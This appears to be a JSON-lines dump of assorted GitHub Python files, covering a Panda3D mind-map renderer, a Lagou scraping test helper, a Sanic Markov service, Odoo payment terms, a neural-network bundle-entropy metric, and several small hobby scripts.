self.text3d.setScale(1, 1, 1)\r\n self.text3d.setAntialias(AntialiasAttrib.MAuto)\r\n \r\n \r\n def dispose(self):\r\n self.mainNode.removeNode()\r\n \r\n \r\n def keepTextCenter(self):\r\n lineRows = self.textNode.getNumRows()\r\n if lineRows == 0:\r\n return NodeDrawing.ONE_LINE_TEXT_HEIGHT\r\n \r\n textHeight = lineRows * NodeDrawing.ONE_LINE_TEXT_HEIGHT\r\n oneLineHeight = textHeight / lineRows\r\n \r\n heightAdj = 0\r\n if lineRows == 1:\r\n heightAdj = (textHeight / 2)\r\n else:\r\n heightAdj = (oneLineHeight / 1) - (textHeight / 1.5)\r\n self.text3d.setPos(0, heightAdj, -1)\r\n \r\n \"\"\" Calculates text height based on the created tightbounds \r\n might not be the accurate height of the text \"\"\"\r\n def getActualTextHeight(self):\r\n text = self.textNode.getText()\r\n if len(text) < 1:\r\n return 0\r\n \r\n if self.text3d.getTightBounds() is None:\r\n return 0\r\n \r\n pt1, pt2 = self.text3d.getTightBounds()\r\n width = pt2.getX() - pt1.getX()\r\n height = pt2.getY() - pt1.getY()\r\n return height\r\n \r\n \r\n def setSelected(self, stateData, alpha = 1):\r\n from .nodeManager import NodeManager\r\n if stateData is None:\r\n self.model.setColor(1, 1, 1, 1)\r\n self.model.setAlphaScale(1)\r\n return\r\n\r\n selected = stateData.get(NodeManager.SELECTED)\r\n folded = stateData.get(NodeManager.FOLDED)\r\n\r\n if selected and folded is None:\r\n self.model.setColor(1, 0.84, 0, 1)\r\n elif selected and folded:\r\n self.model.setColor(0, 0.5, 1, 1)\r\n elif selected is None and folded:\r\n self.model.setColor(0.84, 0.85, 0.86, 1)\r\n\r\n self.model.setTransparency(TransparencyAttrib.MAlpha)\r\n self.model.setAlphaScale(alpha)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"Nickan/Mind-Map-Panda3D","sub_path":"src/scenes/mapComponents/nodeDrawing.py","file_name":"nodeDrawing.py","file_ext":"py","file_size_in_byte":3626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2884606239","text":"# coding:utf-8\n# @Time : 2019-07-25 14:46\n# @Author: Xiawang\nfrom utils.util import get_header, get_requests, login\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\n\n\ndef get_compangy():\n company_id = get_www_company_id()\n compant_mds_Id, userId = get_mds_company_id()\n return company_id, compant_mds_Id, userId\n\n\ndef get_userId_resumeId():\n url = 'https://www.lagou.com/resume/myresume.html'\n page = get_requests(url=url, remark=\"我的简历页面--获取简历id\").text\n try:\n resumeId = re.findall(\"resumeId: '(.*?)',\", page, re.S)[0]\n except IndexError:\n resumeId = 0\n\n try:\n soup = BeautifulSoup(page, \"html.parser\")\n userId = soup.find(id=\"userid\")['value']\n except (IndexError, TypeError):\n userId = 0\n return userId, resumeId\n\n\ndef get_mds_company_id():\n url = 'https://easy.lagou.com/dashboard/index.htm?from=c_index'\n header = get_header('https://www.lagou.com')\n www_result = get_requests(url=url, headers=header).text\n try:\n soup = BeautifulSoup(www_result, \"html.parser\")\n compant_mds_Id = soup.find(id=\"UserConpanyId\")['value']\n except (IndexError, TypeError):\n compant_mds_Id = 0\n try:\n userId = soup.find(id=\"UserId\")['value']\n except (IndexError, TypeError):\n userId = 0\n return compant_mds_Id, userId\n\n\ndef get_www_company_id():\n url = 'https://www.lagou.com/c/myhome.html'\n header = get_header('https://www.lagou.com')\n get_requests(url=url, headers=header)\n result = requests.get(url=url, headers=header, allow_redirects=False, verify=False)\n company_url = result.headers['Location']\n try:\n company_id = re.findall(r'http://c.hr.lagou.com/gongsi/(.+?).html', company_url)[0]\n except (IndexError, TypeError):\n company_id = 0\n return company_id\n\n\nif __name__ == '__main__':\n\n # get_compangy()\n # print(get_userId_resumeId())\n # print(get_www_company_id())\n # print(get_userId_resumeId())\n new_phone_list = [20030252, 20030253, 20030254, 20030255, 20030256, 20030257, 20030258, 20030259, 20030260,\n 20030261,\n 20030262, 20030263, 20030264, 20030265, 20030266, 20030267, 20030268, 20030269, 20030270,\n 20030271,\n 20030272, 20030273, 20030274, 20030275, 20030276, 20030277, 20030278, 20030279, 20030280,\n 20030281,\n 20030282, 20030283, 20030284, 20030285, 20030286, 20030287, 20030288, 20030289, 20030290]\n sss = []\n for phone in new_phone_list:\n aaa = {}\n login('00853', phone)\n com_id = get_www_company_id()\n aaa['phone'] = phone\n aaa['companyId'] = com_id\n sss.append(aaa)\n print(sss)\n","repo_name":"Ariaxie-1985/aria","sub_path":"backend/common/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42774118517","text":"import config\nfrom sanic import Sanic\nfrom sanic.request import Request\nfrom sanic.response import HTTPResponse, json, text\nfrom typing import Union\nimport asyncio\nfrom json import dumps, loads\nfrom markovhandler import InitializationError, MarkovHandler\n\napp = Sanic(name=\"MarkovService\")\nmarkov = MarkovHandler()\n\nLISTEN_PORT = 8000\n\n\n# @app.on_response\n# def check_api_token(request: Request, response: HTTPResponse) -> Union[HTTPResponse, None]:\n# test_msg = \"Authorization failed\"\n# auth_key = request.headers.get(\"Authorization\")\n# if auth_key is None or auth_key != config.auth_key:\n# return json(status=401, body=test_msg, dumps=dumps)\n\n\n@app.route(\"/generate\")\nasync def generate(request) -> HTTPResponse:\n try:\n result = await markov.generate()\n if result is not None:\n response = {\"result\": result}\n return json(response, dumps=dumps)\n else:\n response = {\"error\": \"Failed to generate a sentence\"}\n return json(response, status=500, dumps=dumps)\n\n except InitializationError:\n response = {\n \"error\": \"Model not initialized\",\n }\n return json(response, status=500, dumps=dumps)\n\n\n@app.route(\"/add\", methods=(\"POST\",))\nasync def add_to_corpus(request: Request) -> HTTPResponse:\n print(request.json)\n if \"text\" not in request.json or not isinstance(request.json[\"text\"], str):\n response = {\"error\": \"No text provided\"}\n return json(response, status=500, dumps=dumps)\n try:\n await markov.add(request.json[\"text\"])\n response = {\"status\": \"Success\"}\n return json(response, status=200, dumps=dumps)\n except Exception as e:\n print(e)\n\n\n@app.route(\"/info\")\nasync def info(request) -> HTTPResponse:\n return\n\n\n@app.route(\"/clear\")\nasync def clear(request) -> HTTPResponse:\n return\n\n\nif __name__ == \"__main__\":\n app.run(host=\"127.0.0.1\", port=LISTEN_PORT)\n","repo_name":"anmolw/markov-generator-service","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72367129704","text":"\nfrom pylab import figure, plot, text, axis, savefig\nimport math\n\nfigure()\n\nxdata = [0.1 * i for i in range(100)]\nydata = [math.sin(j) for j in xdata]\n\nplot(xdata, ydata, 'kd', linewidth=1)\ntext(4.8, 0, \"$y = sin(x)$\", horizontalalignment='center', fontsize=20)\naxis([0, 3 * math.pi, -1.2, 1.2])\n\nsavefig('sinfunc.png')\n\n","repo_name":"DimAntDim/Python_Modules_Examples","sub_path":"plotting/matplotlib/plot_function.py","file_name":"plot_function.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34206414788","text":"import csv\nimport random\nfrom typing import ByteString\nwith open(\"src/agaricus-lepiota.data\") as fp:\n table = list(csv.reader(fp))\n\nrandom.shuffle(table)\ntrain = table[:7000]\ntest = table[7000:]\n\n\ndef findbest(a):\n c = {}\n for x in a:\n if x in c:\n c[x] += 1\n else:\n c[x] = 1\n\n best = a[0]\n for x in c.keys():\n if c[best] < c[x]:\n best = x\n return best\n\n\nfor i in range(22):\n for j in range(22):\n # (i,j) と (j,i) を2度やらないように、i < j のケースだけ考える。\n if i < j:\n # (i+1)番目と(j+1)番目の特徴量を使った決定木を作成。\n feats = {}\n for row in train:\n answer = row[0] # 回答\n f1 = row[i+1] # (i+1)番目の特徴量\n f2 = row[j+1] # (j+1)番目の特徴量\n f = f1+\",\"+f2 # 連結した特徴量\n if not (f in feats):\n feats[f] = []\n feats[f].append(answer)\n\n rule = {}\n for f in feats.keys():\n rule[f] = findbest(feats[f])\n\n score = 0\n for row in test:\n answer = row[0]\n if (f in rule) and (rule[f] == answer):\n score = score + 1\n print(f\"使った特徴量:{i+1},{j+1}\")\n print(f\"使った規則:{rule}\")\n print(f\"スコア:{score}\")\n","repo_name":"valtok7/docker-env","sub_path":"src/mushroom2.py","file_name":"mushroom2.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"33193963344","text":"from django.shortcuts import render\nimport random\nimport parse\n\n# Create your views here.\n\nfrom .models import Game\nfrom .models import Card\nfrom .models import Player\n\ndef index(request):\n template_name = 'pokergame/index.html'\n if not Game.objects.exists():\n game = Game()\n createdeck(game)\n game.players.create(card = game.deck.objects.all().first())\n game.save()\n else:\n game = Game.objects.all().first()\n game.players.create(game.deck.objects.all().first())\n context = {'players': game.players}\n return render(request, template_name, context)\n\ndef createdeck(game):\n temp = []\n for suit in ['S', 'C', 'H', 'D']:\n for val in range(13):\n temp.append('{}{:d}'.format(suit, val))\n random.shuffle(temp)\n for str in temp:\n parser = parse.compile('{}{}')\n parsed = parser.parse(str)\n game.deck.create(suit = parsed[0], val = int(parsed[1]))","repo_name":"sushachawal/hack2019","sub_path":"IndianPoker/pokergame/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"27501729664","text":"from odoo import models, fields, api\nfrom dateutil.relativedelta import relativedelta\n\n\nclass AccountPaymentTermEOM(models.Model):\n _inherit = 'account.payment.term'\n\n\n @api.one\n def compute(self, value, date_ref=False):\n lines_months = False\n for line in self.line_ids:\n if line.months:\n lines_months = True\n break\n if not lines_months:\n return super(AccountPaymentTermEOM,self).compute(value,date_ref=date_ref)[0]\n date_ref = date_ref or fields.Date.today()\n amount = value\n result = []\n if self.env.context.get('currency_id'):\n currency = self.env['res.currency'].browse(self.env.context['currency_id'])\n else:\n currency = self.env.user.company_id.currency_id\n prec = currency.decimal_places\n for line in self.line_ids:\n if line.value == 'fixed':\n amt = round(line.value_amount, prec)\n elif line.value == 'percent':\n amt = round(value * (line.value_amount / 100.0), prec)\n elif line.value == 'balance':\n amt = round(amount, prec)\n else:\n continue\n if amt:\n next_date = fields.Date.from_string(date_ref)\n if line.option == 'day_after_invoice_date':\n next_date += relativedelta(days=line.days, months=line.months)\n elif line.option == 'fix_day_following_month':\n next_first_date = next_date + relativedelta(day=1, months=1) # Getting 1st of next month\n next_date = next_first_date + relativedelta(days=line.days - 1, months=line.months)\n elif line.option == 'last_day_following_month':\n next_date += relativedelta(day=31, months=1) # Getting last day of next month\n elif line.option == 'last_day_current_month':\n next_date += relativedelta(day=31, months=0) # Getting last day of next month\n result.append((fields.Date.to_string(next_date), amt))\n amount -= amt\n amount = reduce(lambda x, y: x + y[1], result, 0.0)\n dist = round(value - amount, prec)\n if dist:\n last_date = result and result[-1][0] or fields.Date.today()\n result.append((last_date, dist))\n return result\n\nclass AccountPaymentTermLine(models.Model):\n _inherit = \"account.payment.term.line\"\n\n months = fields.Integer(string='Number of Months', default=0)\n","repo_name":"ktecsrl/odoo_account_addons","sub_path":"eom_payment_term/model/eom_payment_term.py","file_name":"eom_payment_term.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7867669833","text":"import pyana\nimport matplotlib.pyplot as plt\nimport numpy as np \nimport scipy.stats as stats\n\nimport sys\n\nfile1 = sys.argv[1]\nfile2 = sys.argv[2] \n\ncube1 = pyana.fzread(file1)[\"data\"]\ncube2 = pyana.fzread(file2)[\"data\"]\n\nNP = cube1.shape[0]\n\nprint ('Number of parameters : ', NP)\n\nNB = 2\nNT = 1\ncube1[-1] = np.cos(cube1[-1])\ncube1[-(NB+NT):-NT] *= cube1[-1]\ncube2[-1] = np.cos(cube2[-1])\ncube2[-(NB+NT):-NT] *= cube2[-1]\n\nplt.clf()\nplt.cla()\n\nparams = [0,1,2,3,4,5,6,7,8,9,10,11]\n\n#cmaps = ['inferno','inferno','inferno','inferno','inferno','inferno','bwr','bwr','bwr','bwr','PRGn','PRGn']\n#unit = ['K','K','km/s','km/s','Gauss','Gauss']\ncmaps = [None] * 13\nunit = [None] * 13\nfor i in range(0,5):\n\tcube1[i] /= 1E3\n\tcube2[i] /= 1E3\n\tcmaps[i] = 'inferno'\n\tunit[i] = 'kK'\ncmaps[5] = 'inferno'\nunit[5] = 'km/s'\nfor i in range(6,10):\n\tcmaps[i] = 'bwr'\n\tunit[i] = 'km/s'\nfor i in range(10,12):\n\tcmaps[i] = 'PRGn'\n\tunit[i] = 'Gauss'\nprint (cmaps)\n\ncubename1 = 'Standard inversion'\ncubename2 = 'CNN'\n\nx = np.linspace(0,287,288)*20.8/1E3\ny = np.linspace(0,287,288)*20.8/1E3\n\n\nto_plot = [2,3,8,10,11]\nNP = len(to_plot)\nplt.clf()\nplt.cla()\nscale = 3.4\nratio = 0.93\nfig, axes = plt.subplots(nrows=NP,ncols=3,figsize=[scale*3,scale*NP*ratio])\nimage_no = 0\n\nfor i in range (0,len(to_plot)):\n\t\n\tp = to_plot[i]\n\t# if it is the los velocity, scale and orient it properly\n\tif (cmaps[p] == 'bwr'):\n\t\tcube1[p] /= -1E5\n\t\tcube2[p] /= -1E5\n\t\n\tm = np.mean(cube1[p])\n\ts = np.std(cube1[p])\n\t\n\tax = axes.flat[image_no]\n\tim = ax.imshow(cube1[p],vmin=m-3*s,vmax=m+3*s,cmap=cmaps[p],origin='lower',extent=[x[0],x[-1],y[0],y[-1]])\n\tif (i==0):\n\t\tax.set_title('Standard Inversion')\n\tif (i==NP-1):\n\t\tax.set_xlabel('$x\\,\\mathrm{[Mm]}$')\n\tax.set_ylabel('$y\\,\\mathrm{[Mm]}$')\n\tif (i!=NP-1):\n\t\tax.set_xticklabels([])\n\t\n\timage_no +=1\n\tax = axes.flat[image_no]\n\tim = ax.imshow(cube2[p],vmin=m-3*s,vmax=m+3*s,cmap=cmaps[p],origin='lower',extent=[x[0],x[-1],y[0],y[-1]])\n\tif (i==0):\n\t\tax.set_title('CNN')\n\tif (i==NP-1):\n\t\tax.set_xlabel('$x\\,\\mathrm{[Mm]}$')\n\tif (i!=NP-1):\n\t\tax.set_xticklabels([])\n\tax.set_yticklabels([])\n\tax.colorbar(shrink=0.8)\n\n\timage_no +=1\n\tax = axes.flat[image_no]\n\tim = ax.hist2d(cube1[p].flatten(),cube2[p].flatten(),bins=(100,100),cmap='Purples',vmax=30,range=[[m-3*s,m+3*s],[m-3*s,m+3*s]])\n\tax.plot(cube1[p].flatten(),cube1[p].flatten(),color='red')\n\tif (i==NP-1):\n\t\tax.set_xlabel(cubename1)\n\t\n\tax.set_ylabel(cubename2)\n\timage_no +=1\n\t#r = stats.pearsonr(cube1[p].flatten(),cube2[p].flatten())\n\t#r = np.asarray(r)\n\tdifference = (cube1[p].flatten()-cube2[p].flatten())\n\tmedian = np.percentile(difference,50)\n\tup = np.percentile(difference,95) - median\n\tdown = median - np.percentile(difference,5)\n\tprint (p,median,down,up)\n\t#r[0] = round(r[0],3)\n\t#r[1] = round(r[1],3)\n\t#plt.text(m-3*s,m-2.8*s,'r='+str(r[0])+' $\\\\sigma=$'+str(r[1])+''+unit[index],fontsize=14)\n\t#print (r)\nfig.tight_layout()\nfig.savefig(sys.argv[3]+'.png',fmt='png',bbox_inches='tight')\nfig.savefig(sys.argv[3]+'.eps',fmt='eps',bbox_inches='tight')\n\n#Here we plot correlations of correlations\n\ncombo1 = [3,8]\ncombo2 = [8,11]\ncombo3 = [7,10]\n\nplt.clf()\nplt.cla()\nplt.figure(figsize=[6.0,2.0])\nplt.subplot(121)\nv1 = (cube1[combo1[0]] * cube1[combo1[1]]).flatten()\nv2 = (cube2[combo1[0]] * cube2[combo1[1]]).flatten()\nm = np.mean(v1)\ns = np.std(v1)\nplt.hist2d(v1,v2,bins=(100,100),cmap='Purples',vmax=30,range=[[m-3*s,m+3*s],[m-3*s,m+3*s]])\nplt.plot(v1,v1,color='red')\nplt.xlabel('Standard inversion')\nplt.ylabel('CNN')\nr = stats.pearsonr(v1,v2)\nr = np.asarray(r)\nr[0] = round(r[0],3)\nplt.text(m-3*s,m-2.8*s,'r='+str(r[0]),fontsize=14)\nplt.subplot(122)\nv1 = (cube1[combo2[0]] * cube1[combo2[1]]).flatten()\nv2 = (cube2[combo2[0]] * cube2[combo2[1]]).flatten()\nm = np.mean(v1)\ns = np.std(v1)\nplt.hist2d(v1,v2,bins=(100,100),cmap='Purples',vmax=30,range=[[m-3*s,m+3*s],[m-3*s,m+3*s]])\nplt.plot(v1,v1,color='red')\nplt.xlabel('Standard inversion')\nr = stats.pearsonr(v1,v2)\nr = np.asarray(r)\nr[0] = round(r[0],3)\nplt.text(m-3*s,m-2.8*s,'r='+str(r[0]),fontsize=14)\nplt.tight_layout()\nplt.savefig('corr_of_corr.png',fmt='png',bbox_inches='tight')\nplt.savefig('corr_of_corr.eps',fmt='eps',bbox_inches='tight')\n\n\n\t\n\t","repo_name":"ivanzmilic/snapi","sub_path":"pyplots/compare_node_cubes.py","file_name":"compare_node_cubes.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"72774070505","text":"import xml.etree.ElementTree as ET\n\nclass Order:\n def __init__(self, date, customer_age, age_group, customer_gender, country, product,\n order_quantity, unit_cost, unit_price, profit, cost, revenue):\n self._date = date\n self._customer_age = customer_age\n self._age_group = age_group\n self._customer_gender = customer_gender\n self._country = country\n self._product = product\n self._order_quantity = order_quantity\n self._unit_cost = unit_cost\n self._unit_price = unit_price\n self._profit = profit\n self._cost = cost\n self._revenue = revenue\n\n def to_xml(self):\n el = ET.Element(\"Order\")\n el.set(\"date\", str(self._date))\n el.set(\"customer_age\", str(self._customer_age))\n el.set(\"age_group\", str(self._age_group))\n el.set(\"customer_gender\", str(self._customer_gender))\n el.set(\"country_ref\", str(self._country.get_id()))\n el.set(\"order_quantity\", str(self._order_quantity))\n el.set(\"unit_cost\", str(self._unit_cost))\n el.set(\"unit_price\", str(self._unit_price))\n el.set(\"profit\", str(self._profit))\n el.set(\"cost\", str(self._cost))\n el.set(\"revenue\", str(self._revenue))\n\n return el\n","repo_name":"ruicerqueira231/system-integration-tp1","sub_path":"src/samples/xml-generation/entities/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15701143453","text":"\"\"\"\nImplementation of conflicting bundles. See also https://arxiv.org/abs/2011.02956\n\nUsage:\nimport conflicting_bundles as cb\n[...]\ncb = cb.bundle_entropy(model, ds, train_batch_size=64, train_learning_rate=1e-3, num_classes=10)\n\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\nfrom tqdm import tqdm\nimport math\n\n\ndef bundle_entropy(model, train_ds, train_batch_size, train_lr,\n num_classes, evaluation_size=512, all_layers=False):\n \"\"\" Given a dataset train_ds and a model, this function returns\n foreach a^l the number of bundles and the bundle entropy at time\n step t.\n\n Limitation: This implementation is currently only for a single\n GPU. I.e. you can train your model with multiple GPUs, and evaluate\n cb with a single gpu.\n\n param: model - The model that should be evaluated. Note: We assume that model.cb exists.\n model.cb is a list of tuples with (a, layer) pairs.\n E.g.: model.cb = [(a_1, hidden_layer_1), (a_2, hidden_layer_2)]\n param: train_ds - Training dataset. Its important to NOT use the test set as we want to check\n how the training was negatively influenced. See https://arxiv.org/abs/2011.02956\n param: num_classes - Number of classes needed to calculate the bundle entropy\n param: train_batch_size - The batch size that was used for training. See https://arxiv.org/abs/2011.02956\n param: train_lr - The batch size that was used for training. See https://arxiv.org/abs/2011.02956\n param: evaluation_size - Subset size of train_ds to use for bundle calculation\n param: all_layers - False to evaluate only a^L, otherwise a^1 to a^L are evaluated\n\n returns: [[num_bundles_1, bundle_entropy_1], ... [num_bundles_L, bundle_entropy_L]]\n \"\"\"\n train_batch_size = float(train_batch_size)\n layer_eval = 0 if all_layers else -1\n A, Y = [], []\n\n # Execute in eager mode to get access to model.cb\n def inference(x):\n model(x, training=False)\n\n for x, y in train_ds:\n if len(Y) * train_batch_size >= evaluation_size:\n continue\n\n inference(x)\n\n if not hasattr(model, 'cb'):\n print(\"(Warning) The provided model has no cb attribute set.\")\n print(\"Please set a^(l) values in the array cb to measure the bundle entropy.\")\n return None\n\n cb = model.cb[layer_eval:]\n A.append([c[0] for c in cb])\n Y.append(y)\n\n Y = tf.concat(Y, axis=0)\n\n # If needed we return the conflicts for each layer. For evaluation only\n # a^{(L)} is needed, but e.g. to use it with auto-tune all conflicting\n # layers are needed. Therefore if all layers are evaluated the complexity\n # is O(L * |X|)\n res = []\n A = zip(*A)\n for i, a in enumerate(A):\n a = tf.cast(tf.concat(a, axis=0), tf.float32)\n a = tf.concat(a, axis=0)\n\n # As written in the paper we not directly compare a_i and a_j in order\n # to consider also floating point representations during backpropagation\n # Instead of doing an inequallity check using \\gamma, we do an equality\n # check after subtracting the values from the maximum weights which\n # is equivalent. Note that this is not possible if gamma should be\n # larger than the floating point resolution.\n weights_amplitude = _get_weight_amplitude(model)\n\n equality_check = weights_amplitude - a * train_lr * (1.0 / train_batch_size)\n equality_check = tf.reshape(equality_check, [tf.shape(equality_check)[0], -1])\n num_bundle, bundle_entropy = _calculate_bundles(equality_check, Y, num_classes)\n res.append([num_bundle, bundle_entropy])\n print(\"%d, %d, %.5f\" % (i, num_bundle, bundle_entropy), flush=True)\n\n return res\n\n\ndef _get_weight_amplitude(layer):\n \"\"\" With this function we approximate the weight\n amplitude of a layer. A layer could consist of multiple\n sub layers (e.g. a vgg block with multiple layers).\n Therefore, we take the mean amplitude of each weight in\n trainable_weights.\n\n param: layer - Layer for which the amplitude should be known\n return: Single floating point value of the max. weight amplitude of some sub layers\n \"\"\"\n if not hasattr(layer, 'trainable_weights') or len(layer.trainable_weights) <= 0:\n return 0.0\n\n ret = []\n for weights in layer.trainable_weights:\n ret.append(tf.reduce_max(tf.abs(weights)))\n return tf.reduce_max(ret)\n\n\ndef _calculate_bundles(X, Y, num_classes):\n \"\"\" Calculates all bundles of X and calculates the bundle entropy using\n the label information from Y. Iterates over X and therefore the\n complexity is O(X) if calculate_bundle can be fully vectorized.\n \"\"\"\n\n # Create array for each feature and assign a unique bundlenumber...\n bundle = tf.zeros(tf.shape(X)[0], dtype=tf.float32)\n bundle_entropy = tf.constant(0.0, dtype=tf.float32)\n for i in range(len(X)):\n if bundle[i] != 0:\n continue\n\n bundle, bundle_entropy = _calculate_single_bundle(\n i, bundle, X, Y, bundle_entropy, num_classes)\n\n num_bundles = tf.reduce_max(bundle)\n return num_bundles, bundle_entropy / float(tf.shape(X)[0])\n\n\ndef _calculate_single_bundle(i, bundle, X, Y, bundle_entropy, num_classes):\n \"\"\" This function calculates a bundle which contains all x which are similar\n than X[i] using vectorization such that only O(|X|) is needed to calculate\n bundles for one layer. The idea is to use equality operators, mask\n all others out, set the bundle and reuse this information vector\n for the next samples. As a vector contains all equivalent samples\n also the bundle entropy at time step t can immediately be calculated.\n \"\"\"\n dim_X = tf.cast(tf.shape(X)[1], tf.float32)\n next_bundle_id = tf.reduce_max(bundle) + tf.constant(1.0, dtype=tf.float32)\n num_samples = tf.shape(X)[0]\n x = X[i]\n\n # Ignore all that are already bundleed (bundle > 0)\n zero_out = tf.cast(tf.less_equal(bundle, 0.0), tf.float32)\n # Set bundle id for current x[i]\n bundle += tf.one_hot(i, num_samples, dtype=tf.float32) * next_bundle_id * zero_out\n # Also ignore current x[i]\n zero_out = tf.cast(tf.less_equal(bundle, 0.0), tf.float32)\n # Get all equivalent components (single component only of possible ndim inputs)\n equal_components = tf.cast(tf.equal(x, X), tf.float32)\n # Majority of the components must be equivalent, therefore check (using the sum and dim_X) whether this is the case\n num_equal_components = tf.reduce_sum(equal_components, axis=-1)\n same_bundle = tf.cast(tf.greater_equal(num_equal_components, dim_X), tf.float32)\n # And bundle all components\n bundle += same_bundle * next_bundle_id * zero_out\n\n # Calculate the bundle entropy for the current bundle (same_bundle) using the entropy\n bundle_only = tf.cast(tf.boolean_mask(Y, same_bundle), tf.int32)\n bundle_class_prob = tf.math.bincount(bundle_only, minlength=num_classes, maxlength=num_classes, dtype=tf.float32)\n bundle_class_prob /= tf.reduce_sum(bundle_class_prob)\n bundle_size = tf.cast(tf.reduce_sum(same_bundle), tf.float32)\n entropy = -tf.reduce_sum(bundle_class_prob * tf.math.log(bundle_class_prob+1e-5), axis=-1)\n bundle_entropy += tf.maximum(0.0, entropy) * bundle_size\n\n return bundle, bundle_entropy\n","repo_name":"peerdavid/conflicting-bundles","sub_path":"conflicting_bundle.py","file_name":"conflicting_bundle.py","file_ext":"py","file_size_in_byte":7468,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"8909165301","text":"import xmen\n\n\n@xmen.autodoc\ndef hello_world(\n root: xmen.Root, # experiments are assigned a root before being executed\n a: str = 'Hello', # the first\n # argument\n b: str = 'World', # the second argument\n):\n \"\"\"A hello world experiment designed to demonstrate\n defining experiments through the functional experiment api\"\"\"\n print(f'{a} {b}')\n\n ... # whatever other experiment code you want\n\n with open(root.directory + '/out.txt', 'w') as f:\n f.write(f'{a} {b}')\n root.message({'a': a, 'b': b})\n\n\nclass HelloWorld(xmen.Experiment):\n \"\"\"A hello world experiment designed to demonstrate\n defining experiments through the class experiment api\"\"\"\n # Parameters\n a: str = 'Hello' # @p The first argument\n b: str = 'World' # @p The second argument\n\n def run(self):\n print(f'{self.a} {self.b}!')\n self.message({'a': self.a, 'b': self.b})\n\n\nif __name__ == '__main__':\n # optionally expose the command line interface if you\n # would like to run the experiment as a experiments script\n from xmen.functional import functional_experiment\n # generate experiment from function definition if defined\n # using the functional experiment (this step is not needed if\n # the experiment is defined as a class)\n Exp = functional_experiment(hello_world)\n # every experiment inherits main() allowing the experiment\n # to be configured and run from the command line.\n Exp().main()\n # try...\n # >> experiments -m xmen.examples.hello_world --help\n","repo_name":"robw4/xmen","sub_path":"xmen/examples/hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"72739258664","text":"import os\nimport requests\nfrom dotenv import load_dotenv\n\nload_dotenv()\nWEBHOOK_URL = os.environ[\"WEBHOOK_URL\"]\n\ndef main():\n \"\"\"Start the script.\"\"\"\n\n print(\"Connecting to Reddit...\")\n message, image_url = \"message_test\", \"https://www.themoviedb.org/t/p/w300_and_h450_bestv2/8Vt6mWEReuy4Of61Lnj5Xj704m8.jpg\"\n\n print(\"Data received. Sending webhook...\")\n post_message(message, image_url)\n\ndef post_message(message, image_url):\n \"\"\"Sends the formatted message to a Discord server.\n\n Parameters\n ----------\n message : str\n The formatted message to post.\n\n image_url : str\n The URL used as the thumbnail.\n\n \"\"\"\n\n payload = {\n \"username\": \"DVDs Release Dates\",\n \"embeds\": [\n {\n \"title\": \"Top Rising Post\",\n \"color\": 102204,\n \"description\": message,\n \"thumbnail\": {\"url\": image_url},\n \"footer\": {\"text\": \"Powered by Elf Magic™\"}\n }\n ]\n }\n\n with requests.post(WEBHOOK_URL, json=payload) as response:\n print(response.status_code)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"sadmanca/movie-release-bot","sub_path":"test/discord.py","file_name":"discord.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42659602687","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep 27 10:16:55 2023\r\n\r\n@author: jtazioli\r\n\r\n#Silent Auction Program\r\nadd users and their bids until user dictates there are no more bids.\r\noutput the winner's name and bid.\r\nclear console between entries.\r\n\"\"\"\r\nimport os\r\nimport time\r\n\r\ndef silent_auction():\r\n auction = {}\r\n \r\n print('Welcome to the Silent Auction.')\r\n bid = input('Would you like to make a bid? (y / n)')\r\n\r\n while bid == 'y':\r\n name = input('Please enter your name:\\n')\r\n bid_amount = int(input('Please enter your bid (rounded to whole dollar):\\n'))\r\n \r\n auction[name] = bid_amount\r\n\r\n bid = input('Is there another bidder? (y / n)\\n')\r\n os.system('cls')\r\n time.sleep(2)\r\n if len(auction) > 0:\r\n highest_bid = max(auction.values())\r\n winner = []\r\n for key in auction:\r\n if auction[key] == highest_bid:\r\n winner.append(key)\r\n \r\n if len(winner) == 1:\r\n print(f\"The winner is: {winner[0]}\\nHighest Bid: {highest_bid}\")\r\n elif len(winner)>1:\r\n print(f\"It's a draw! Highest bid is: {highest_bid}\")\r\n print(\"The winners are:\")\r\n for x in range(0,len(winner)):\r\n print(winner[x])\r\n else:\r\n print(\"No bidders for this item.\")\r\n return\r\n \r\n\r\n \r\n","repo_name":"JTazi/100-Days-of-Code","sub_path":"day9/silent_auction.py","file_name":"silent_auction.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3896923270","text":"import sys\nimport csv\nimport time\nimport subprocess\nfrom collections import deque\n# Try to 